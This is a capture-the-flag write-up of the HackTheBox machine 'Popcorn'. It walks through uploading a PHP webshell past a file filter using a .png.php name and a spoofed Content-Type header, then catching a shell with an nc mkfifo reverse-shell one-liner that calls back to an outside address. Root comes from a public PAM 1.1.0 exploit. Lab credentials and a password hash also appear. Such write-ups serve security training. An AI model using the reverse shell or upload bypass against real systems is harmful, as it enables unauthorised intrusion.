HTB: Popcorn

Overview

Popcorn is a medium HackTheBox Linux machine running “Torrent Hoster,” a self-hosted torrent sharing site. After registering an account, the “Edit this torrent” screenshot feature is abused to upload a PHP webshell, the file extension trick alone isn’t quite enough, but intercepting the request and rewriting the Content-Type header completes the bypass. From a www-data foothold, the user flag is readable directly without needing to escalate to george, and root comes from a well-known PAM 1.1.0 file-tampering vulnerability exploited via a public proof of concept.

Attack Chain

• Scan the target and find only SSH and HTTP, then add popcorn.htb to /etc/hosts
• Find an empty default page and fuzz to discover /torrent, a “Torrent Hoster” instance
• Register a new account and upload a test torrent file
• Identify the backend as PHP and locate the “Edit this torrent” screenshot upload feature
• Rename a PHP webshell to webshell.png.php and intercept the upload in BurpSuite
• Change the request’s Content-Type header from application/x-php to image/png to bypass validation
• Fuzz /torrent to find the /torrent/upload/ directory holding the uploaded webshell
• Trigger the webshell and use an nc mkfifo reverse shell payload to catch a shell as www-data
• Find database credentials in the application’s config file and extract an admin password hash (unused, but noted)
• Read the user flag directly, without needing another account
• Find .cache/motd.legal-displayed in george’s home directory, hinting at a PAM vulnerability
• Exploit a known PAM 1.1.0 file-tampering vulnerability to create a second root-equivalent user
• Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.17.184; export NAME=POPCORN; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

We add popcorn.htb to our /etc/hosts.

Web Enumeration

Finding Torrent Hoster

Browsing to port 80 shows a default page with no content yet.

We fuzz the site and find a /torrent endpoint.

dirsearch -u http://popcorn.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 80 -o ./scans/dirsearch_${NAME}_common.txt

We see a site for “Torrent Hoster.”

We register a new user.

testuser:Pass1234!

We log in and navigate to Upload.

Our test torrent file uploads successfully. We can now attack the “Edit this torrent” functionality, which allows uploading a screenshot.

First, we identify the backend language. Wappalyzer identifies PHP.

Foothold

Bypassing the Upload Filter

We go to Edit this torrent.

We upload the wwwolf-php-webshell. The trick that works is renaming webshell.php to webshell.png.php.

We intercept the request in BurpSuite and change the Content-Type from application/x-php to image/png.

The file uploads successfully.

Triggering the Webshell

We fuzz the /torrent endpoint.

dirsearch -u http://popcorn.htb/torrent -t 80 -o ./scans/dirsearch_${NAME}_torrent_default.txt

The output shows a /torrent/upload/ folder.

We navigate to the folder and see our renamed file with a .php extension.

Opening it gives us a webshell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.189 443 >/tmp/f

We catch a shell as www-data.

Database Credentials and the User Flag

We find database credentials in /var/www/torrent/config.php.

torrent:SuperSecret!!

We connect to the database and extract the Admin user’s password hash, but nothing comes of it directly.

We keep it noted in case it’s useful later:

Admin:d5bfedcee289e5e05b86daad8ee3e2e2

We discover we can read the user flag directly from /home/george/user.txt.

Privilege Escalation

Exploiting PAM 1.1.0

We take a closer look at george’s home directory. Under .cache, we find a file called motd.legal-displayed.

It’s not an obvious lead on its own, but there’s a public exploit for a file-tampering vulnerability in PAM 1.1.0:

https://www.exploit-db.com/exploits/14339

It’s straightforward from here: copy the exploit to the target, make it executable, and run it. This creates a second root-equivalent user with the password toor.

We have a shell as root.

We read the root flag.

Key Takeaways

Popcorn is a good example of a file upload filter that checked the wrong signal entirely: renaming the file to end in .png.php combined with spoofing the Content-Type header was enough to convince the application it was handling an image, when the server-side extension check was the only thing that actually mattered for execution. That the user flag was readable straight from www-data without any further lateral movement is a reminder that file permissions matter just as much as authentication. Root followed a well-documented PAM vulnerability, proof that even foundational authentication infrastructure isn’t immune to file-tampering bugs, and that a stray artifact like motd.legal-displayed can be the only hint needed to point toward it.